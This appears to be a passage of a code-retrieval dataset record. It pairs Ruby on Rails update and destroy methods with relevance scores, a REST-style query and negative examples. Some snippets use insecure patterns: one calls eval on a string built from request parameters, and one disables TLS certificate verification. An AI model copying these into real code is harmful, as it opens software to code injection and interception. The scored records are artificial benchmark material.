Connect the objects first\n if clean_state # update\n urn = params[:urn]\n if (urn.start_with?(\"uuid\"))\n type = \"Lease\"\n else\n type = OMF::SFA::Model::GURN.parse(urn).type.camelize\n end\n res = eval(\"SAMANT::#{type}\").for(urn)\n unless sparql.ask.whether([res.to_uri, :p, :o]).true?\n raise OMF::SFA::AM::Rest::BadRequestException.new \"Resource '#{res.inspect}' not found. Please create that first.\"\n end\n authorizer.can_modify_resource?(res, type)\n res.update_attributes(descr) # Not sure if different than \".for(urn, new_descr)\" regarding an already existent urn\n else # create\n if params[:type] && (params[:type].camelize == \"Uxv\") && !(descr.keys.find {|k| k.to_s == \"hasUxVType\"})\n raise OMF::SFA::AM::Rest::BadRequestException.new \"Please provide a UxV type in your description.\"\n end\n unless params[:name] && params[:type] && params[:authority]\n raise OMF::SFA::AM::Rest::BadRequestException.new \"One of the following mandatory parameters is missing: name, type, authority.\"\n end\n urn = OMF::SFA::Model::GURN.create(params[:name], {:type => params[:type], :domain => params[:authority]})\n type = params[:type].camelize\n descr[:hasID] = SecureRandom.uuid # Every resource must have a uuid\n descr[:hasComponentID] = urn.to_s\n descr[:resourceId] = params[:name]\n if type.downcase == \"uxv\"\n descr[:hasSliceID] = \"urn:publicid:IDN+omf:netmode+account+__default__\" # default slice_id on creation; required on allocation\n end\n res = eval(\"SAMANT::#{type}\").for(urn, descr) # doesn't save unless you explicitly define so\n unless sparql.ask.whether([res.to_uri, :p, :o]).false?\n raise OMF::SFA::AM::Rest::BadRequestException.new \"Resource '#{res.inspect}' already exists.\"\n end\n authorizer.can_create_resource?(res, type)\n debug \"Res:\" + res.inspect\n res.save!\n end\n resources << res\n end\n resources\n end", "def xml(id)\n http.get(\"/nfse/#{id}/xml\") do |response|\n response.headers.fetch(\"Location\") { \"\" }\n end\n end", "def test_should_update_project_via_API_XML\r\n get \"/logout\"\r\n put \"/projects/1.xml\", :project => {:user_id => 1,\r\n :url => 'http://www.apiproject.com',\r\n :name => 'API Project',\r\n :description => 'API Project Desc' }\r\n assert_response 401\r\n end", "def update\n @config_xml = ConfigXml.find(params[:id])\n @config_xml.save!\n\n respond_to do |format|\n if @config_xml.update_attributes(params[:config_xml])\n flash[:notice] = 'ConfigXml was successfully updated.'\n format.html { redirect_to(@config_xml) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @config_xml.errors, :status => :unprocessable_entity }\n end\n end\n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n end", "def update_volumes(username, token, workset_name, volume_ids)\n\n #<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n #<volumes xmlns=\"http://registry.htrc.i3.illinois.edu/entities/workset\">\n # <volume>\n # <id>9999999</id>\n # </volume>\n # <volume>\n # <id>3333333</id>\n # </volume>\n # </volumes>\n volumes_xml =\n \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"yes\\\"?>\" +\n \"<volumes xmlns=\\\"http://registry.htrc.i3.illinois.edu/entities/workset\\\">\";\n\n for id in volume_ids\n volumes_xml += \"<volume><id>#{id}</id></volume>\"\n end\n volumes_xml += \"</volumes>\"\n\n\n # curl -v --data @new_volumes.xml -X PUT \\\n # -H \"Content-Type: application/vnd.htrc-volume+xml\" \\\n # -H \"Accept: application/vnd.htrc-volume+xml\" \\\n # http://localhost:9763/ExtensionAPI-0.1.0/services/worksets/workset1/volumes?user=fred\n\n url = URI.parse(\"#{APP_CONFIG['registry_url']}/worksets/#{workset_name}/volumes\")\n http = Net::HTTP.new(url.host, url.port)\n if Rails.env.development?\n http.set_debug_output($stdout)\n end\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Put.new(url.request_uri)\n request[\"Content-Type\"] = \"application/vnd.htrc-volume+xml\"\n request.add_field(\"Authorization\", \"Bearer #{token}\")\n\n request.body = volumes_xml\n response = http.request(request)\n\n #xml = response.body\n\n case response\n when Net::HTTPUnauthorized then\n raise Exceptions::SessionExpiredError.new(\"Session expired. Please login again\")\n when Net::HTTPSuccess then\n # Do nothing\n else\n raise Exceptions::SystemError.new(\"Error retrieving worksets (HTTP #{response.code})\")\n end\n\n end", "def update\n @ingredience = Ingredience.find(params[:id])\n\n respond_to do |format|\n if @ingredience.update_attributes(params[:ingredience])\n flash[:notice] = 'Ingredience was successfully updated.'\n format.html { redirect_to(@ingredience) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @ingredience.errors, :status => :unprocessable_entity }\n end\n end\n end", "def sfa_advertisement_xml(resources, opts = {})\n doc = Nokogiri::XML::Document.new\n #<rspec expires=\"2011-09-13T09:07:09Z\" generated=\"2011-09-13T09:07:09Z\" type=\"advertisement\" xmlns=\"http://www.protogeni.net/resources/rspec/2\" xmlns:emulab=\"http://www.protogeni.net/resources/rspec/ext/emulab/1\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://www.protogeni.net/resources/rspec/2 http://www.protogeni.net/resources/rspec/2/ad.xsd http://www.protogeni.net/resources/rspec/ext/emulab/1 http://www.protogeni.net/resources/rspec/ext/emulab/1/ptop_extension.xsd http://company.com/rspec/ext/stitch/1 http://company.com/rspec/ext/stitch/1/ad.xsd \"> \n root = doc.add_child(Nokogiri::XML::Element.new('rspec', doc))\n root.add_namespace(nil, \"http://www.protogeni.net/resources/rspec/2\")\n @@sfa_namespaces.each do |prefix, urn|\n root.add_namespace(prefix.to_s, urn)\n end\n\n root.set_attribute('type', \"advertisement\")\n now = Time.now\n root.set_attribute('generated', now.iso8601)\n root.set_attribute('expires', (now + (opts[:valid_for] || 600)).iso8601)\n\n #root = doc.create_element('rspec', doc)\n #doc.add_child root\n obj2id = {}\n _to_sfa_xml(resources, root, obj2id, opts) \n end", "def update\n @docent = Docent.find(params[:id])\n\n respond_to do |format|\n if @docent.update_attributes(params[:docent])\n format.html { redirect_to(@docent, :notice => 'Docent was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @docent.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @artefact = Artefact.find(params[:id])\n\n respond_to do |format|\n if @artefact.update_attributes(params[:artefact])\n format.html { redirect_to(artefact_path(@artefact), :notice => 'Artefact was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @artefact.errors, :status => :unprocessable_entity }\n end\n end\n end", "def put(*args)\n request :put, *args\n end", "def put(path, doc = nil, options = {})\n execute('PUT', path, options, doc)\n end", "def update\n @advert = Advert.find(params[:id])\n\n respond_to do |format|\n if @advert.update_attributes(params[:advert])\n format.html { redirect_to(admin_adverts_path, :notice => 'Advert was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @advert.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @ganho = Ganho.find(params[:id])\n\n respond_to do |format|\n if @ganho.update_attributes(params[:ganho])\n format.html { redirect_to(@ganho, :notice => 'Ganho atualizado com sucesso.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @ganho.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n #@gen_attraction = GenAttraction.create( gen_attraction_params )\n respond_to do |format|\n if @gen_attraction.update(gen_attraction_params)\n format.html { redirect_to :gen_attractions, notice: 'Gen attraction was successfully updated.' }\n format.json { respond_with_bip(@gen_attraction) }\n else\n format.html { render :edit }\n format.json { render json: @gen_attraction.errors, status: :unprocessable_entity }\n end\n end\n end", "def edit_registry(carbon_home,is_readOnly) \n\n\tFile.open(File.join(carbon_home , 'conf','registry.xml')) do |config_file|\n\t# Open the document and edit the port (carbon.xml)\n\tconfig = Document.new(config_file)\n\tconfig.root.elements['readOnly'].text =is_readOnly\n\tconfig.root.elements['registryRoot'].text= '/esb-root'\n\t\n\t# Write the result to a new file.\n\tformatter = REXML::Formatters::Default.new\n\tFile.open(File.join(carbon_home , 'conf','result_registry.xml'), 'w') do |result|\n\tformatter.write(config, result)\n\tend\nend \nFile.delete(File.join(carbon_home , 'conf','registry.xml'))\nFile.rename( File.join(carbon_home , 'conf','result_registry.xml'),File.join(carbon_home , 'conf','registry.xml') )\n\nend", "def update\n @doc = Doc.find(params[:id])\n \n respond_to do |format|\n if @doc.update_attributes(params[:doc])\n save_object_relationship\n format.html { redirect_to(@doc, :notice => 'Doc was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @doc.errors, :status => :unprocessable_entity }\n end\n end\n end", "def put(uri, doc = nil, options = {})\n execute(uri, :put, options, doc)\n end", "def update(id, name= \"Updated Name\")\n xml_req =\n \"<?xml version='1.0' encoding='UTF-8'?>\n <customer>\n <id type='integer'>#{id}</id>\n <name>#{name}</name>\n </customer>\"\n\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\n request.add_field \"Content-Type\", \"application/xml\"\n request.body = xml_req\n\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end", "def update\n @relatorios = Relatorio.find(params[:id])\n\n respond_to do |format|\n if @relatorios.update_attributes(params[:relatorio])\n flash[:notice] = 'RELATORIO SALVO COM SUCESSO.'\n format.html { redirect_to(@relatorios) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @relatorios.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @agente = Agente.find(params[:id])\n\n respond_to do |format|\n if @agente.update_attributes(params[:agente])\n format.html { redirect_to @agente, notice: 'Agente se ha actualizado correctamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @agente.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @rig = Rig.find(params[:id])\n\n respond_to do |format|\n if @rig.update_attributes(params[:rig])\n flash[:notice] = 'Rig was successfully updated.'\n format.html { redirect_to(@rig) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @rig.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update_vra_work_tag\r\n vra_xml = self.datastreams[\"VRA\"].ng_xml.to_s.gsub(\"<vra:image\",\"<vra:work\")\r\n vra_xml = vra_xml.gsub!(\"</vra:image>\",\"</vra:work>\")\r\n self.datastreams[\"VRA\"].content = vra_xml\r\n end", "def test_putpoi_update_valid\n nd = create(:node)\n cs_id = nd.changeset.id\n user = nd.changeset.user\n amf_content \"putpoi\", \"/1\", [\"#{user.email}:test\", cs_id, nd.version, nd.id, nd.lon, nd.lat, nd.tags, nd.visible]\n post :amf_write\n assert_response :success\n amf_parse_response\n result = amf_result(\"/1\")\n\n assert_equal 5, result.size\n assert_equal 0, result[0]\n assert_equal \"\", result[1]\n assert_equal nd.id, result[2]\n assert_equal nd.id, result[3]\n assert_equal nd.version + 1, result[4]\n\n # Now try to update again, with a different lat/lon, using the updated version number\n lat = nd.lat + 0.1\n lon = nd.lon - 0.1\n amf_content \"putpoi\", \"/2\", [\"#{user.email}:test\", cs_id, nd.version + 1, nd.id, lon, lat, nd.tags, nd.visible]\n post :amf_write\n assert_response :success\n amf_parse_response\n result = amf_result(\"/2\")\n\n assert_equal 5, result.size\n assert_equal 0, result[0]\n assert_equal \"\", result[1]\n assert_equal nd.id, result[2]\n assert_equal nd.id, result[3]\n assert_equal nd.version + 2, result[4]\n end", "def update\n @vaga = Vaga.find(params[:id])\n\n respond_to do |format|\n if @vaga.update_attributes(params[:vaga])\n format.html { redirect_to(@vaga, :notice => 'Vaga was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @vaga.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @voluntario = Voluntario.find(params[:id])\n params[:voluntario].delete :inclusoes\n\n respond_to do |format|\n if @voluntario.update_attributes(params[:voluntario])\n format.html { redirect_to(@voluntario, :notice => 'Voluntário atualizado com sucesso.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @voluntario.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @advertise = Advertise.find(params[:id]) \n respond_to do |format|\n if @advertise.update_attributes(params[:advertise])\n format.html { redirect_to(@advertise, :notice => 'Advertise was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @advertise.errors, :status => :unprocessable_entity }\n end\n end\n end", "def edit_axis2XML(carbon_home,http_port,https_port) \n\n\tFile.open(File.join(carbon_home , 'conf','axis2.xml')) do |config_file|\n\t\t# Open the document and edit the port (axis2.xml)\n\t\tconfig = Document.new(config_file)\n\t\t\n\t\tconfig.root.elements[25].elements[1].text=http_port\n\t\tconfig.root.elements[26].elements[1].text=https_port\n\t\n\t\tconfig.root.elements['clustering'].attributes['enable']='true'\n\t\tconfig.root.elements['clustering'].elements[4].text=\"wso2.org.esb\"\n\n\t\tele1=Element.new(\"parameter\")\n\t\tele1.text = \"127.0.0.1\"\n\t\tele1.add_attribute(\"name\", \"mcastBindAddress\")\n\n\t\tele2=Element.new(\"parameter\")\n\t\tele2.text = \"127.0.0.1\"\n\t\tele2.add_attribute(\"name\", \"localMemberHost\")\n\n\t\tele3=Element.new(\"parameter\")\n\t\tele3.add_attribute(\"name\", \"domain\")\n\n\t\tconfig.root.elements.each('//parameter') {|element| \n\t\t\t\n\t\t\tif(element.attributes == ele1.attributes)\n\t\t\t\telement.parent.delete(element)\n\t\t\tend\n\n\t\t\tif(element.attributes == ele2.attributes)\n\t\t\t\telement.parent.delete(element)\n\t\t\tend\n\n\t\t\t\n\t\t}\n\t\t\n\n\t\t# Write the result to a new file.\n\t\tformatter = REXML::Formatters::Default.new\n\t\tFile.open(File.join(carbon_home , 'conf','result_axis2.xml'), 'w') do |result|\n\t\tformatter.write(config, result)\n\t\tend\n\tend \n\tFile.delete(File.join(carbon_home , 'conf','axis2.xml'))\n\tFile.rename( File.join(carbon_home , 'conf','result_axis2.xml'),File.join(carbon_home , 'conf','axis2.xml') )\n\nend", "def update\n @gig = Gig.find(params[:id])\n\n respond_to do |format|\n if @gig.update_attributes(params[:gig])\n flash[:notice] = 'Gig was successfully updated.'\n format.html { redirect_to(@gig) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @gig.errors, :status => :unprocessable_entity }\n end\n end\n end" ]
[ "0.6045064", "0.59739083", "0.5860993", "0.55995876", "0.5491728", "0.5446294", "0.5392827", "0.533744", "0.53059936", "0.53017974", "0.52958494", "0.52759635", "0.5268645", "0.5258632", "0.52217674", "0.52020234", "0.5199859", "0.5189394", "0.51755995", "0.51727647", "0.5169407", "0.5169331", "0.51570046", "0.515686", "0.51446134", "0.513926", "0.51319915", "0.51159674", "0.51096386", "0.51062614", "0.51030785", "0.50997496", "0.50996953", "0.5090952", "0.50903594", "0.5085557", "0.5075268", "0.5074637", "0.5069574", "0.506609", "0.50640595", "0.50540936", "0.5048776", "0.5041781", "0.5041622", "0.5030952", "0.5030716", "0.5026021", "0.50252557", "0.50214475", "0.50163215", "0.50137985", "0.501378", "0.50121623", "0.50120276", "0.5006491", "0.50062704", "0.50026673", "0.499817", "0.49950537", "0.49946067", "0.49872488", "0.49865708", "0.49829113", "0.49789307", "0.49779376", "0.49771205", "0.49742553", "0.49742317", "0.49735913", "0.49707693", "0.49697587", "0.49690944", "0.49667543", "0.49657205", "0.49610612", "0.49595723", "0.4955816", "0.49556082", "0.49555433", "0.4951293", "0.494464", "0.494424", "0.49419668", "0.49363288", "0.4935168", "0.49344575", "0.49305472", "0.49287367", "0.49266842", "0.49266452", "0.49255833", "0.49247333", "0.4922292", "0.491769", "0.49168724", "0.49162012", "0.4914588", "0.4912401", "0.49122867" ]
0.56144327
3
DELETE /agenciamadres/1 DELETE /agenciamadres/1.xml
def destroy @agenciamadre = Agenciamadre.find(params[:id]) @agenciamadre.estado = "1" @agenciamadre.save respond_to do |format| format.html { redirect_to(agenciamadres_url) } format.xml { head :ok } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def netdev_resxml_delete( xml )\n top = netdev_resxml_top( xml )\n par = top.instance_variable_get(:@parent)\n par['delete'] = 'delete'\n end", "def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end", "def destroy\n @relatestagiario = Relatestagiario.find(params[:id])\n @relatestagiario.destroy\n\n respond_to do |format|\n format.html { redirect_to(relatestagiarios_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @acre = Acre.find(params[:id])\n @acre.destroy\n\n respond_to do |format|\n format.html { redirect_to(acres_url) }\n format.xml { head :ok }\n end\n end", "def deleteResource(doc, msg_from)\n \n \n begin\n\n puts \"Deleting\"\n\n path = \"\"\n params = {}\n headers = {}\n \n context, path = findContext(doc, path) \n \n # Deleting member from group\n if context == :user_group_member\n params = {}\n else\n raise Exception.new(\"No context given!\")\n end\n \n httpAndNotify(path, params, msg_from, :delete)\n \n rescue Exception => e\n puts \"Problem in parsing data (CREATE) from xml or sending http request to the VR server: \" + e\n puts \" -- line: #{e.backtrace[0].to_s}\"\n end\n \n end", "def destroy\n @config_xml = ConfigXml.find(params[:id])\n @config_xml.destroy\n\n respond_to do |format|\n format.html { redirect_to(config_xmls_url) }\n format.xml { head :ok }\n end\n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n end", "def test_set3_06b_delete_res_object()\n user = \"test_user\"\n priv = \"test_privilege\"\n res_ob_type = \"test\"\n res_ob_adr = \"/db/temporary/testsource\"\n \n @test_acl.create_principal(user)\n @test_acl.create_resource_object(res_ob_type, res_ob_adr, user)\n id = @test_acl.create_ace(user, \"allow\", priv, res_ob_type, res_ob_adr)\n \n @test_acl.delete_res_object(res_ob_type, res_ob_adr)\n query = \"doc(\\\"#{@col_path}acl.xml\\\")//node()[@id=\\\"#{id}\\\"]\"\n handle = @db.execute_query(query)\n hits = @db.get_hits(handle)\n assert_equal(0, hits)\n end", "def destroy\n @aplicacion = Aplicacion.find(params[:id])\n @aplicacion.destroy\n\n respond_to do |format|\n format.html { redirect_to(aplicacions_url) }\n format.xml { head :ok }\n end\n end", "def delete\n\t\tdb.execute{ \"delete edge #{ref_name} #{rrid}\" }\n\tend", "def destroy\r\n @asignacion = Asignacion.find(params[:id])\r\n @asignacion.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to(asignacions_url) }\r\n format.xml { head :ok }\r\n end\r\n end", "def destroy\n @adjunto = Adjunto.find(params[:id])\n @adjunto.destroy\n\n respond_to do |format|\n format.html { redirect_to(adjuntos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @asistencia = Asistencia.find(params[:id])\n @asistencia.destroy\n\n respond_to do |format|\n format.html { redirect_to(asistencias_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @arc = Arc.find(params[:id])\n @arc.destroy\n\n respond_to do |format|\n format.html { redirect_to(arcs_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @correspondenciasasignada = Correspondenciasasignada.find(params[:id])\n @correspondenciasasignada.destroy\n\n respond_to do |format|\n format.html { redirect_to(correspondenciasasignadas_url) }\n format.xml { head :ok }\n end\n end", "def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end", "def destroy\n @regiaos = Regiao.find(params[:id])\n @regiaos.destroy\n\n respond_to do |format|\n format.html { redirect_to(homes_path) }\n format.xml { head :ok }\n end\n end", "def destroy\n @auto = Auto.find(params[:id])\n @auto.destroy\n\n respond_to do |format|\n format.html { redirect_to(autos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @ingredience = Ingredience.find(params[:id])\n @ingredience.destroy\n\n respond_to do |format|\n format.html { redirect_to(ingrediences_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @almacen = Almacen.find(params[:id])\n @almacen.destroy\n \n respond_to do |format|\n format.html { redirect_to(almacenes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @advert = Advert.find(params[:id])\n @advert.destroy\n\n respond_to do |format|\n format.html { redirect_to(adverts_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @vigencia = Vigencia.find(params[:id])\n @vigencia.destroy\n\n respond_to do |format|\n format.html { redirect_to(vigencias_url) }\n format.xml { head :ok }\n end\n end", "def deleteEntityAdvertiser( entity_id, gen_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['gen_id'] = gen_id\n return doCurl(\"delete\",\"/entity/advertiser\",params)\n end", "def destroy\n @documento = @externo.documentos.find(params[:id])\n @documento.destroy\n\n respond_to do |format|\n format.html { redirect_to(documentos_url(@externo)) }\n format.xml { head :ok }\n end\n end", "def destroy\n @entrada = Entrada.find(params[:id])\n @entrada.destroy\n\n respond_to do |format|\n format.html { redirect_to(mngr_entradas_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @iguanasactualizacion = Iguanasactualizacion.find(params[:id])\n @iguanasactualizacion.destroy\n\n respond_to do |format|\n format.html { redirect_to(iguanasactualizaciones_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @reputacao_veiculo = ReputacaoVeiculo.find(params[:id])\n @reputacao_veiculo.destroy\n\n respond_to do |format|\n format.html { redirect_to(reputacao_veiculos_url) }\n format.xml { head :ok }\n end\n end", "def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end", "def destroy\n @advertise = Advertise.find(params[:id])\n @advertise.destroy\n\n respond_to do |format|\n format.html { redirect_to(advertises_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @frequencia_orgao = Frequencia::Orgao.find(params[:id])\n @frequencia_orgao.destroy\n\n respond_to do |format|\n format.html { redirect_to(frequencia_orgaos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @archdiocese.destroy\n\n head :no_content\n end", "def destroy\n @orc_ficha = OrcFicha.find(params[:id])\n @orc_ficha.destroy\n\n respond_to do |format|\n format.html { redirect_to(orc_fichas_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @arrendamientosprorroga = Arrendamientosprorroga.find(params[:id])\n @arrendamientosprorroga.destroy\n\n respond_to do |format|\n format.html { redirect_to(arrendamientosprorrogas_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @entradas = Entrada.find(params[:id])\n @entradas.destroy\n\n respond_to do |format|\n format.html{ redirect_to(homes_path) }\n format.xml { head :ok }\n end\n end", "def destroy\n @aisle = Aisle.find(params[:id])\n @aisle.destroy\n\n respond_to do |format|\n format.html { redirect_to(aisles_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @alfresco = Alfresco.find(params[:id])\n @alfresco.destroy\n\n respond_to do |format|\n format.html { redirect_to(alfrescos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @estacion = Estacion.find(params[:id])\n @estacion.destroy\n\n respond_to do |format|\n format.html { redirect_to(estaciones_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @advert = Advert.find(params[:id])\n @advert.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_adverts_url, :notice => 'Advert was deleted') }\n format.xml { head :ok }\n end\n end", "def destroy\n @distribuidora = Distribuidora.find(params[:id])\n @distribuidora.destroy\n\n respond_to do |format|\n format.html { redirect_to(distribuidoras_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @association = Association.find(params[:id])\n @association.destroy\n\n respond_to do |format|\n format.html { redirect_to(associations_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @relatorios = Relatorio.find(params[:id])\n @relatorios.destroy\n\n respond_to do |format|\n format.html { redirect_to(homes_path) }\n format.xml { head :ok }\n end\n end", "def destroy\n @reclamacao = Reclamacao.find(params[:id])\n @reclamacao.destroy\n\n respond_to do |format|\n format.html { redirect_to(reclamacaos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @estagio = Estagio.find(params[:id])\n @estagio.destroy\n\n respond_to do |format|\n format.html { redirect_to(estagios_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @correspondenciasclase = Correspondenciasclase.find(params[:id])\n @correspondenciasclase.destroy\n\n respond_to do |format|\n format.html { redirect_to(correspondenciasclases_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @aauto = Aauto.find(params[:id])\n @aauto.destroy\n\n respond_to do |format|\n format.html { redirect_to(aautos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @docent = Docent.find(params[:id])\n @docent.destroy\n\n respond_to do |format|\n format.html { redirect_to(docents_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @utente = Segnalazione.find_by_prg_segna(params[:id])\n @utente.destroy\n\n respond_to do |format|\n format.html { redirect_to(segnalazioni_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @actividad = Actividad.find(params[:id])\n @actividad.destroy\n\n respond_to do |format|\n format.html { redirect_to(actividads_url) }\n format.xml { head :ok }\n end\n end", "def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend", "def destroy\n @regdb = Regdb.find(params[:id])\n @regdb.destroy\n\n respond_to do |format|\n format.html { redirect_to(regdbs_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @receita = Receita.find(params[:id])\n @receita.destroy\n\n respond_to do |format|\n format.html { redirect_to(receitas_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @feria2010observacion = Feria2010observacion.find(params[:id])\n @feria2010observacion.destroy\n\n respond_to do |format|\n format.html { redirect_to(feria2010observaciones_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @articulo = Articulo.find(params[:id])\n @articulo.destroy\n\n respond_to do |format|\n format.html { redirect_to(articulos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @visita = Visita.find(params[:id])\n @visita.destroy\n\n respond_to do |format|\n format.html { redirect_to(paciente_visitas_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @aviso = Aviso.find(params[:id])\n @aviso.destroy\n\n respond_to do |format|\n format.html { redirect_to(avisos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n client = Connection::MarkLogic.new.client\n client.send_corona_request(\"/v1/documents?uri=/amandments/amandment_#{@amandment.id}.xml\", :delete)\n @amandment.destroy\n respond_to do |format|\n format.html { redirect_to home_meeting_path, notice: 'Amandman was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @reputacao_carona = ReputacaoCarona.find(params[:id])\n @reputacao_carona.destroy\n\n respond_to do |format|\n format.html { redirect_to(reputacao_caronas_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @genbank_file.destroy\n\n respond_to do |format|\n format.xml { head :ok }\n format.json { head :ok }\n end\n end", "def destroy\r\n @razdel1 = Razdel1.find(params[:id])\r\n @razdel1.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to(razdel1s_url) }\r\n format.xml { head :ok }\r\n end\r\n end", "def destroy\n @consulta = Consulta.find(params[:id])\n @consulta.destroy\n\n respond_to do |format|\n format.html { redirect_to(consultas_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @consulta = Consulta.find(params[:id])\n @consulta.destroy\n\n respond_to do |format|\n format.html { redirect_to(consultas_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @convenio = Convenio.find(params[:id])\n @convenio.destroy\n\n respond_to do |format|\n format.html { redirect_to(convenios_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @diagram = Diagram.find(params[:id])\n @diagram.destroy\n\n respond_to do |format|\n format.html { redirect_to(diagrams_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @gene_ontology = GeneOntology.find(params[:id])\n @gene_ontology.destroy\n\n respond_to do |format|\n format.html { redirect_to(gene_ontologies_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @association = Association.find(params[:id])\n @association.destroy\n\n respond_to do |format|\n format.html { redirect_to associations_url }\n format.xml { head :ok }\n end\n end", "def destroy\n @direccion = Direccion.find(params[:id])\n @direccion.destroy\n\n respond_to do |format|\n format.html { redirect_to(direccions_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @remocao = Remocao.find(params[:id])\n @remocao.destroy\n\n respond_to do |format|\n format.html { redirect_to(remocaos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @article = Article.find_by_sysname(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to(articles_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @descriptor_generico = DescriptorGenerico.find(params[:id])\n @descriptor_generico.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_descriptor_genericos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @omatsuri = Omatsuri.find(params[:id])\n @omatsuri.destroy\n\n respond_to do |format|\n format.html { redirect_to(omatsuris_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @estagiarios = Estagiario.find(params[:id])\n @estagiarios.destroy\n\n respond_to do |format|\n format.html { redirect_to(homes_path) }\n format.xml { head :ok }\n end\n end", "def destroy\n @estatu = Estatu.find(params[:id])\n @estatu.destroy\n\n respond_to do |format|\n format.html { redirect_to(estatus_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @adqui = Adqui.find(params[:id])\n @adqui.destroy\n\n respond_to do |format|\n format.html { redirect_to(adquis_url) }\n format.xml { head :ok }\n end\n end", "def destroy\r\n @asignacionexa = Asignacionlabexa.find(params[:id])\r\n @asignacionexa.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to(asignacionlabexas_url) }\r\n format.xml { head :ok 